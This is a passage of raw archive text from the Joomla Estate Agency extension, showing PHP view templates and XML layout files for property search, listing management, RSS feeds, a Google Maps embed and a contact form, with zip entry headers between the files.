JText::_('COM_JEA_FIELD_FLOOR_LABEL') ?> : </label>
<input id="jea-search-floor" type="text"
name="filter_floor" size="2" value="<?php echo
$states['filter_floor'] ?>" />
<em><?php echo JText::_('COM_JEA_SEARCH_FLOOR_DESC')
?></em>
</li>
<?php endif?>
<?php if
($this->params->get('searchform_show_hotwatertypes', 0)):
?>
<li><?php echo JHtml::_('features.hotwatertypes',
$states['filter_hotwatertype'], 'filter_hotwatertype' )
?></li>
<?php endif?>
<?php if
($this->params->get('searchform_show_heatingtypes', 0)):
?>
<li><?php echo JHtml::_('features.heatingtypes',
$states['filter_heatingtype'], 'filter_heatingtype' )
?></li>
<?php endif?>
<?php if
($this->params->get('searchform_show_conditions', 0)):
?>
<li><?php echo JHtml::_('features.conditions',
$states['filter_condition'], 'filter_condition' )
?></li>
<?php endif?>
<?php if
($this->params->get('searchform_show_orientation', 1)):
?>
<li>
<?php
$options = array(
JHTML::_('select.option', '0', ' - ' .
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') . ' - '),
JHTML::_('select.option', 'N',
JText::_('COM_JEA_OPTION_NORTH')),
JHTML::_('select.option', 'NW',
JText::_('COM_JEA_OPTION_NORTH_WEST')),
JHTML::_('select.option', 'NE',
JText::_('COM_JEA_OPTION_NORTH_EAST')),
JHTML::_('select.option', 'NS',
JText::_('COM_JEA_OPTION_NORTH_SOUTH')),
JHTML::_('select.option', 'E',
JText::_('COM_JEA_OPTION_EAST')),
JHTML::_('select.option', 'EW',
JText::_('COM_JEA_OPTION_EAST_WEST')),
JHTML::_('select.option', 'W',
JText::_('COM_JEA_OPTION_WEST')),
JHTML::_('select.option', 'S',
JText::_('COM_JEA_OPTION_SOUTH')),
JHTML::_('select.option', 'SW',
JText::_('COM_JEA_OPTION_SOUTH_WEST')),
JHTML::_('select.option', 'SE',
JText::_('COM_JEA_OPTION_SOUTH_EAST'))
);
echo JHTML::_('select.genericlist', $options,
'filter_orientation', 'size="1"',
'value', 'text',
$states['filter_orientation'])
?>
</li>
<?php endif?>
</ul>
<?php endif ?>
<?php if
($this->params->get('searchform_show_amenities', 1)): ?>
<h2><?php echo JText::_('COM_JEA_AMENITIES') ?>
:</h2>
<div class="amenities">
<?php echo JHtml::_('amenities.checkboxes',
$states['filter_amenities'], 'filter_amenities' ) ?>
<?php // In order to prevent nul post for this field ?>
<input type="hidden" name="filter_amenities[]"
value="0" />
</div>
<?php endif ?>
<?php if ($useAjax): ?>
<div class="jea-counter">
<span class="jea-counter-result">0</span> <?php
echo JText::_('COM_JEA_FOUND_PROPERTIES')?>
</div>
<?php endif ?>
<p>
<input type="reset" class="button"
value="<?php echo JText::_('JSEARCH_FILTER_CLEAR')
?>" />
<input type="submit" class="button"
value="<?php echo $useAjax ?
JText::_('COM_JEA_LIST_PROPERTIES') :
JText::_('JSEARCH_FILTER_SUBMIT')?>" />
</p>
</form>
PKK��[�g=���
views/properties/tmpl/manage.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC]]>
</message>
</layout>
</metadata>PKK��[[���
�
#views/properties/tmpl/searchmap.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL">
<field name="searchform_default_map_area"
type="text" default=""
label="COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_DEFAULT_MAP_AREA_DESC"
size="20" />
<field name="searchform_map_width" type="text"
default=""
label="COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_MAP_WIDTH_DESC"
size="5" />
<field name="searchform_map_height" type="text"
default=""
label="COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_MAP_HEIGHT_DESC"
size="5" />
<field name="searchform_transaction_type"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
description="COM_JEA_FIELD_SEARCHFORM_TRANSACTION_TYPE_DESC">
<option value="">JALL</option>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
</field>
<field name="searchform_show_departments"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_DEPARTMENTS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_towns" type="list"
label="COM_JEA_FIELD_SEARCHFORM_TOWNS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_areas" type="list"
label="COM_JEA_FIELD_SEARCHFORM_AREAS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_budget" type="list"
label="COM_JEA_FIELD_SEARCHFORM_BUDGET_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_living_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LIVING_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_land_space"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_LAND_SPACE_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_rooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_ROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_number_of_bedrooms"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_NUMBER_OF_BEDROOMS_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
<field name="searchform_show_amenities"
type="list"
label="COM_JEA_FIELD_SEARCHFORM_AMENITIES_LABEL">
<option value="">JGLOBAL_USE_GLOBAL</option>
<option value="0">JHIDE</option>
<option value="1">JSHOW</option>
</field>
</fieldset>
</fields>
</metadata>
PKK��[�r����
views/properties/tmpl/manage.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die();
/**
*
* @var $this JeaViewProperties
*/
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR .
'/helpers/html');
$listOrder =
$this->escape($this->state->get('list.ordering'));
$listDirection =
$this->escape($this->state->get('list.direction'));
$user = JFactory::getUser();
$canDelete = $user->authorise('core.delete',
'com_jea');
$transactionType =
$this->state->get('filter.transaction_type');
$script = <<<EOB
function changeOrdering( order, direction )
{
var form = document.getElementById('adminForm');
form.filter_order.value = order;
form.filter_order_Dir.value = direction;
form.submit();
}
EOB;
$this->document->addScriptDeclaration($script);
?>
<?php if ($this->params->get('show_page_heading', 1)) :
?>
<?php if ($this->params->get('page_heading')) : ?>
<h1><?php echo
$this->escape($this->params->get('page_heading'))
?></h1>
<?php else: ?>
<h1><?php echo
$this->escape($this->params->get('page_title'))
?></h1>
<?php endif ?>
<?php endif ?>
<?php if ($user->authorise('core.create',
'com_jea')): ?>
<p class="jea_add_new">
<a href="<?php echo
JRoute::_('index.php?option=com_jea&task=property.add')
?>"><?php echo JText::_('COM_JEA_ADD_NEW_PROPERTY'
)?></a>
</p>
<?php endif ?>
<form name="adminForm" id="adminForm"
action="<?php echo JRoute::_('') ?>"
method="post">
<?php if (!empty($this->items)): ?>
<p class="limitbox">
<em><?php echo JText::_('COM_JEA_RESULTS_PER_PAGE')
?> : </em> <?php echo $this->pagination->getLimitBox()
?>
</p>
<?php endif ?>
<p>
<select name="filter_transaction_type"
class="inputbox" onchange="this.form.submit()">
<option value=""> - <?php echo
JText::_('COM_JEA_FIELD_TRANSACTION_TYPE_LABEL')?> -
</option>
<option value="RENTING" <?php if ($transactionType ==
'RENTING') echo '
selected="selected"'?>>
<?php echo JText::_('COM_JEA_OPTION_RENTING')?>
</option>
<option value="SELLING"
<?php if ($transactionType == 'SELLING') echo '
selected="selected"'?>>
<?php echo JText::_('COM_JEA_OPTION_SELLING')?>
</option>
<?php // TODO: call plugin entry to add more transaction types ?>
</select>
<?php echo JHtml::_('features.types',
$this->state->get('filter.type_id', 0),
'filter_type_id',
'onchange="document.adminForm.submit();"' ) ?>
<select name="filter_language" class="inputbox"
onchange="this.form.submit()">
<option value=""><?php echo
JText::_('JOPTION_SELECT_LANGUAGE');?></option>
<?php echo JHtml::_('select.options',
JHtml::_('contentlanguage.existing', true, true),
'value', 'text',
$this->state->get('filter.language'));?>
</select>
</p>
<?php if (!empty($this->items)): ?>
<table class="jea_listing">
<thead>
<tr>
<th><?php echo $this->sort('COM_JEA_REF',
'p.ref', $listDirection , $listOrder) ?></th>
<th><?php echo
$this->sort('COM_JEA_FIELD_PROPERTY_TYPE_LABEL',
'type', $listDirection , $listOrder) ?></th>
<th><?php echo
JText::_('COM_JEA_FIELD_ADDRESS_LABEL' )?></th>
<th><?php echo
$this->sort('COM_JEA_FIELD_TOWN_LABEL', 'town',
$listDirection , $listOrder) ?></th>
<th class="right"><?php echo
$this->sort('COM_JEA_FIELD_LIVING_SPACE_LABEL',
'living_space', $listDirection , $listOrder) ?></th>
<th class="right"><?php echo
$this->sort('COM_JEA_FIELD_PRICE_LABEL', 'p.price',
$listDirection , $listOrder) ?></th>
<th class="center"><?php echo
JText::_('JSTATUS' )?></th>
<?php if ($canDelete): ?>
<th class="center"><?php echo
JText::_('JACTION_DELETE' )?></th>
<?php endif ?>
</tr>
</thead>
<tbody>
<?php foreach ($this->items as $i => $row): ?>
<?php
$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;
$canCheckin = $user->authorise('core.manage',
'com_checkin') || $row->checked_out == $user->id ||
$row->checked_out == 0;
$canChange = $user->authorise('core.edit.state',
'com_jea.property.' . $row->id) && $canCheckin;
$canDelete = $user->authorise('core.delete',
'com_jea.property.' . $row->id);
?>
<tr class="row<?php echo $i % 2 ?>">
<td class="nowrap">
<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.edit&id='.$row->id
) ?>" title="<?php echo JText::_('JACTION_EDIT')
?>">
<?php echo $row->ref ?>
</a>
</td>
<td><?php echo $row->type ?></td>
<td><?php echo $row->address ?></td>
<td><?php echo $row->town ?></td>
<td class="right nowrap"><?php echo
JHtml::_('utility.formatSurface', (float) $row->living_space ,
'-' ) ?></td>
<td class="right nowrap">
<?php echo JHtml::_('utility.formatPrice', (float)
$row->price, '-') ?>
<?php if ($row->transaction_type == 'RENTING'
&& (float)$row->price != 0.0) echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'. $row->rate_frequency)
?>
</td>
<td class="center">
<?php if ($canChange): $task = $row->published ?
'unpublish' : 'publish'; ?>
<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.'.$task.'&id='.$row->id
) ?>">
<?php endif ?>
<?php if ($row->published): $title = $canChange ?
'JLIB_HTML_UNPUBLISH_ITEM' : 'COM_JEA_PUBLISHED' ?>
<img src="<?php echo
$this->baseurl.'/media/com_jea/images/published.png'
?>"
alt="<?php echo JText::_('COM_JEA_PUBLISHED')
?>"
title="<?php echo JText::_($title) ?>" />
<?php else: $title = $canChange ?
'JLIB_HTML_PUBLISH_ITEM' : 'COM_JEA_UNPUBLISHED' ?>
<img
src="<?php echo
$this->baseurl.'/media/com_jea/images/unpublished.png'
?>"
alt="<?php echo JText::_('COM_JEA_UNPUBLISHED')
?>"
title="<?php echo JText::_($title) ?>" />
<?php endif ?>
<?php if ($canChange): ?>
</a><?php endif ?>
</td>
<?php if ($canDelete): ?>
<td class="center">
<a href="<?php echo JRoute::_(
'index.php?option=com_jea&task=property.delete&id='.$row->id
) ?>"
title="<?php echo JText::_('JACTION_DELETE')
?>"
onclick="return confirm('<?php echo
JText::_('COM_JEA_MESSAGE_CONFIRM_DELETE') ?>')">
<img src="<?php echo
$this->baseurl.'/media/com_jea/images/media_trash.png'
?>" alt="" />
</a>
</td>
<?php endif ?>
</tr>
<?php endforeach ?>
</tbody>
</table>
<?php endif ?>
<div>
<input type="hidden" name="filter_order"
value="<?php echo $listOrder ?>" />
<input type="hidden" name="filter_order_Dir"
value="<?php echo $listDirection ?>" />
<input type="hidden" name="task"
value="" />
<input type="hidden" name="Itemid"
value="<?php echo
JFactory::getApplication()->input->getInt('Itemid', 0)
?>" />
</div>
<div class="pagination">
<p class="counter">
<?php echo $this->pagination->getPagesCounter() ?>
</p>
<?php echo $this->pagination->getPagesLinks() ?>
</div>
</form>
PKK��[G�z� (views/properties/tmpl/default_remind.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperties
*/
$states = array();
$filters = $this->get('Filters');
foreach ($filters as $name => $defaultValue)
{
$states['filter_' . $name] =
$this->state->get('filter.' . $name, $defaultValue);
}
?>
<?php if ($states['filter_transaction_type'] ==
'RENTING'): ?>
<strong><?php echo JText::_('COM_JEA_OPTION_RENTING')
?></strong>
<?php elseif ($states['filter_transaction_type'] ==
'SELLING'): ?>
<strong><?php echo JText::_('COM_JEA_OPTION_SELLING')
?></strong>
<?php endif ?>
<?php if ($states['filter_type_id'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_PROPERTY_TYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_type_id'],
'types') ?>
<?php endif ?>
<?php if ($states['filter_department_id'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_DEPARTMENT_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_department_id'],
'departments') ?>
<?php endif ?>
<?php if ($states['filter_town_id'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_TOWN_LABEL')
?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_town_id'],
'towns') ?>
<?php endif ?>
<?php if ($states['filter_area_id'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_AREA_LABEL')
?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_area_id'],
'areas') ?>
<?php endif ?>
<?php if (!empty($states['filter_zip_codes'])): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_ZIP_CODE_LABEL') ?> : </strong>
<?php echo $this->escape($states['filter_zip_codes']) ?>
<?php endif ?>
<?php if ($states['filter_budget_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_BUDGET_MIN') ?>
: </strong>
<?php echo JHtml::_('utility.formatPrice',
$states['filter_budget_min']) ?>
<?php endif ?>
<?php if ($states['filter_budget_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_BUDGET_MAX') ?>
: </strong>
<?php echo JHtml::_('utility.formatPrice',
$states['filter_budget_max']) ?>
<?php endif ?>
<?php if ($states['filter_living_space_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LIVING_SPACE_MIN')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_living_space_min']) ?>
<?php endif ?>
<?php if ($states['filter_living_space_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LIVING_SPACE_MAX')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_living_space_max']) ?>
<?php endif ?>
<?php if ($states['filter_land_space_min'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LAND_SPACE_MIN')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_land_space_min']) ?>
<?php endif ?>
<?php if ($states['filter_land_space_max'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_LAND_SPACE_MAX')
?> : </strong>
<?php echo JHtml::_('utility.formatSurface',
$states['filter_land_space_max']) ?>
<?php endif ?>
<?php if ($states['filter_rooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_ROOMS_MIN') ?> : </strong>
<?php echo $this->escape($states['filter_rooms_min']) ?>
<?php endif ?>
<?php if ($states['filter_bedrooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_BEDROOMS_MIN') ?> :
</strong>
<?php echo $this->escape($states['filter_bedrooms_min'])
?>
<?php endif ?>
<?php if ($states['filter_bathrooms_min'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_NUMBER_OF_BATHROOMS_MIN') ?> :
</strong>
<?php echo $this->escape($states['filter_bathrooms_min'])
?>
<?php endif ?>
<?php if ($states['filter_floor'] > 0): ?>
<br />
<strong><?php echo JText::_('COM_JEA_FIELD_FLOOR_LABEL')
?> : </strong>
<?php echo $this->escape($states['filter_floor']) ?>
<?php endif ?>
<?php if ($states['filter_hotwatertype'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_HOTWATERTYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_hotwatertype'],
'hotwatertypes') ?>
<?php endif ?>
<?php if ($states['filter_heatingtype'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_HEATINGTYPE_LABEL') ?> :
</strong>
<?php echo
$this->getFeatureValue($states['filter_heatingtype'],
'heatingtypes') ?>
<?php endif ?>
<?php if ($states['filter_condition'] > 0): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_CONDITION_LABEL') ?> : </strong>
<?php echo
$this->getFeatureValue($states['filter_condition'],
'conditions') ?>
<?php endif ?>
<?php if (!empty($states['filter_orientation'])): ?>
<br />
<strong><?php echo
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') ?> :
</strong>
<?php
switch ($states['filter_orientation'])
{
case 'N':
echo JText::_('COM_JEA_OPTION_NORTH');
break;
case 'NW':
echo JText::_('COM_JEA_OPTION_NORTH_WEST');
break;
case 'NE':
echo JText::_('COM_JEA_OPTION_NORTH_EAST');
break;
case 'NS':
echo JText::_('COM_JEA_OPTION_NORTH_SOUTH');
break;
case 'W':
echo JText::_('COM_JEA_OPTION_WEST');
break;
case 'S':
echo JText::_('COM_JEA_OPTION_SOUTH');
break;
case 'SW':
echo JText::_('COM_JEA_OPTION_SOUTH_WEST');
break;
case 'SE':
echo JText::_('COM_JEA_OPTION_SOUTH_EAST');
break;
case 'E':
echo JText::_('COM_JEA_OPTION_EAST');
break;
case 'EW':
echo JText::_('COM_JEA_OPTION_EAST_WEST');
break;
}
?>
<?php endif ?>
<?php if (is_array($states['filter_amenities']) &&
!empty($states['filter_amenities'])): ?>
<br />
<strong><?php echo JText::_('COM_JEA_AMENITIES') ?> :
</strong>
<?php echo JHtml::_('amenities.bindList',
$states['filter_amenities']) ?>
<?php endif ?>
PKK��[k�/���!views/properties/tmpl/default.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE">
<message>
<![CDATA[COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC]]>
</message>
</layout>
<fields name="params">
<fieldset name="basic"
label="COM_JEA_MENU_PARAMS_LABEL"
addfieldpath="/administrator/components/com_jea/models/fields"
>
<field
name="filter_transaction_type"
default="SELLING"
type="list"
label="COM_JEA_FIELD_TRANSACTION_TYPE_LABEL"
>
<option value="0">JALL</option>
<option
value="SELLING">COM_JEA_OPTION_SELLING</option>
<option
value="RENTING">COM_JEA_OPTION_RENTING</option>
</field>
<field
name="filter_type_id"
type="featureList"
subtype="types"
label="COM_JEA_FIELD_PROPERTY_TYPES_FILTER_LABEL"
size="5"
multiple="true"
description="COM_JEA_FIELD_PROPERTY_TYPES_FILTER_DESC"
/>
<field
name="filter_department_id"
type="featureList"
subtype="departments"
label="COM_JEA_FIELD_DEPARTMENT_LABEL"
filter="intval"
description="COM_JEA_FIELD_DEPARTMENT_FILTER_DESC"
/>
<field
name="filter_town_id"
type="featureList"
subtype="towns"
label="COM_JEA_FIELD_TOWN_LABEL"
filter="intval"
description="COM_JEA_FIELD_TOWN_FILTER_DESC"
/>
<field
name="filter_area_id"
type="featureList"
subtype="areas"
label="COM_JEA_FIELD_AREA_LABEL"
filter="intval"
description="COM_JEA_FIELD_AREA_FILTER_DESC"
/>
<field
name="show_creation_date"
type="list"
label="COM_JEA_FIELD_SHOW_CREATION_DATE_LABEL"
useglobal="true"
>
<option value="0">JHide</option>
<option value="1">JShow</option>
</field>
<field
name="show_feed_link"
type="list"
default="1"
label="JGLOBAL_SHOW_FEED_LINK_LABEL"
description="JGLOBAL_SHOW_FEED_LINK_DESC"
>
<option value="0">JNo</option>
<option value="1">JYes</option>
</field>
</fieldset>
</fields>
</metadata>
PKK��[�e�Mwwviews/properties/view.feed.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Property list feed view.
*
* @package Joomla.Site
* @subpackage com_jea
*
* @since 2.0
*/
class JeaViewProperties extends JViewLegacy
{
/**
* Overrides parent method.
*
* @param string $tpl The name of the template file to parse.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @see JViewLegacy::display()
*/
public function display($tpl = null)
{
$app = JFactory::getApplication();
$document = JFactory::getDocument();
$document->link =
JRoute::_('index.php?option=com_jea&view=properties');
JFactory::getApplication()->input->set('limit',
$app->get('feed_limit'));
$rows = $this->get('Items');
foreach ($rows as $row)
{
if (empty($row->title))
{
$title =
ucfirst(JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$this->escape($row->type), $this->escape($row->town)));
}
else
{
// Strip html from feed item title
$title = $this->escape($row->title);
}
$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;
// Url link to article
$link = JRoute::_('index.php?view=properties&id=' .
$row->slug);
// Strip html from feed item description text
$description = strip_tags($row->description);
// Load individual item creator class
$item = new JFeedItem;
$item->title = html_entity_decode($title);
$item->link = $link;
$item->description = $description;
$item->date = $row->date_insert;
$item->category = $row->type_id;
// Loads item info into rss array
$document->addItem($item);
}
}
}
PKK��[��*���views/properties/metadata.xmlnu�[���<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<view title="Properties">
<message><![CDATA[CHOOSELAYDESC]]></message>
</view>
</metadata>PKK��[�钑 � )views/property/tmpl/default_googlemap.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
JHtml::_('jquery.framework');
$langs = explode('-', $this->document->getLanguage());
$lang = $langs[0];
$region = $langs[1];
$latitude = floatval($this->row->latitude);
$longitude = floatval($this->row->longitude);
$address = str_replace(array("\n", "\r\n"), '
', addslashes($this->row->address));
$town = str_replace(array("\n", "\r\n"), ' ',
addslashes($this->row->town));
if (! empty($address) && ! empty($town))
{
$address .= ', ' . $town . ', ' . $lang;
}
elseif (! empty($address))
{
$address .= ', ' . $lang;
}
elseif (! empty($town))
{
$address = $town . ', ' . $lang;
}
elseif (! empty($this->row->department))
{
$address = addslashes($this->row->department) . ', ' .
$lang;
}
else
{
$address = $lang;
}
$this->document->addScript(
'https://maps.google.com/maps/api/js?key=' .
$this->params->get('googlemap_api_key') .
'&language=' . $lang . '&region=' .
$region
);
$script = <<<JS
jQuery(function($) {
var map = null;
var longitude = {$longitude};
var latitude = {$latitude};
function initMap(mapOptions, MarkerLatlng) {
map = new google.maps.Map($('#jea_property_map')[0],
mapOptions);
var marker = new google.maps.Marker({
position: MarkerLatlng,
map: map,
title: '{$this->escape($this->row->ref)}'
});
}
if (longitude && latitude) {
var myLatlng = new google.maps.LatLng(latitude, longitude);
var options = {
zoom : 15,
center : myLatlng,
mapTypeId : google.maps.MapTypeId.ROADMAP
};
initMap(options, myLatlng);
} else {
var geocoder = new google.maps.Geocoder();
var opts = {'address':'$address',
'language':'$lang',
'region':'$region'};
geocoder.geocode(opts, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
var myLatlng = results[0].geometry.location;
var options = {
center : myLatlng,
mapTypeId : google.maps.MapTypeId.ROADMAP
};
initMap(options, myLatlng);
map.fitBounds(results[0].geometry.viewport);
}
});
}
});
JS;
$this->document->addScriptDeclaration($script);
?>
<div id="jea_property_map"></div>
PKK��[���O O +views/property/tmpl/default_contactform.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
$uri = JFactory::getURI();
?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=default.sendContactForm')
?>" method="post" id="jea-contact-form">
<fieldset>
<legend><?php echo
JText::_('COM_JEA_CONTACT_FORM_LEGEND') ?></legend>
<dl>
<dt>
<label for="name"><?php echo
JText::_('COM_JEA_NAME') ?> :</label>
</dt>
<dd>
<input type="text" name="name"
id="name" size="30"
value="<?php echo
$this->escape($this->state->get('contact.name'))
?>" />
</dd>
<dt>
<label for="email"><?php echo
JText::_('COM_JEA_EMAIL') ?> :</label>
</dt>
<dd>
<input type="text" name="email"
id="email" size="30"
value="<?php echo
$this->escape($this->state->get('contact.email'))
?>" />
</dd>
<dt>
<label for="telephone"><?php echo
JText::_('COM_JEA_TELEPHONE') ?> :</label>
</dt>
<dd>
<input type="text" name="telephone"
id="telephone" size="30"
value="<?php echo
$this->escape($this->state->get('contact.telephone'))
?>" />
</dd>
<dt>
<label for="subject"><?php echo
JText::_('COM_JEA_SUBJECT') ?> :</label>
</dt>
<dd>
<input type="text" name="subject"
id="subject" size="30"
value="<?php echo JText::_('COM_JEA_REF') ?> :
<?php echo $this->escape($this->row->ref) ?>" />
</dd>
<dt>
<label for="e_message"><?php echo
JText::_('COM_JEA_MESSAGE') ?> :</label>
</dt>
<dd>
<textarea name="message" id="e_message"
rows="10" cols="40"><?php echo
$this->escape($this->state->get('contact.message'))
?></textarea>
</dd>
<?php if ($this->params->get('use_captcha')):?>
<dd><?php echo $this->displayCaptcha() ?></dd>
<?php endif ?>
<dd>
<input type="hidden" name="id"
value="<?php echo $this->row->id ?>" />
<?php echo JHTML::_( 'form.token' ) ?>
<input type="hidden" name="propertyURL"
value="<?php echo base64_encode($uri->toString())?>"
/>
<input type="submit" value="<?php echo
JText::_('COM_JEA_SEND') ?>" />
</dd>
</dl>
</fieldset>
</form>
PKK��[��|�ZZviews/property/tmpl/default.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
$dispatcher = JDispatcher::getInstance();
JPluginHelper::importPlugin('jea');
?>
<div class="jea-tools">
<?php if ($this->params->get('show_print_icon')): ?>
<a href="javascript:window.print()" title="<?php echo
JText::_('JGLOBAL_PRINT') ?>"
class="print-icon">
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true) ?>
</a>
<?php endif ?>
<nav class="prev-next-navigation"><?php echo
$this->getPrevNextNavigation() ?></nav>
</div>
<h1><?php echo $this->page_title ?></h1>
<?php if ($this->params->get('show_creation_date', 0)) :
?>
<p>
<span class="date"><?php echo
JHtml::_('date', $this->row->created,
JText::_('DATE_FORMAT_LC3') ) ?></span>
</p>
<?php endif ?>
<?php if(!empty($this->row->images)) echo
$this->loadTemplate($this->params->get('images_layout',
'squeezebox')) ?>
<h2 class="clr"><?php echo
JText::_('COM_JEA_REF')?> : <?php echo
$this->escape($this->row->ref) ?></h2>
<div class="jea-col-right">
<?php if ($this->row->address || $this->row->zip_code ||
$this->row->town ): ?>
<h3><?php echo JText::_('COM_JEA_FIELD_ADDRESS_LABEL')
?> :</h3>
<address>
<?php if ($this->row->address):?>
<?php echo $this->escape($this->row->address ) ?><br
/>
<?php endif ?>
<?php if ($this->row->zip_code) echo
$this->escape($this->row->zip_code ) ?>
<?php if ($this->row->town) echo
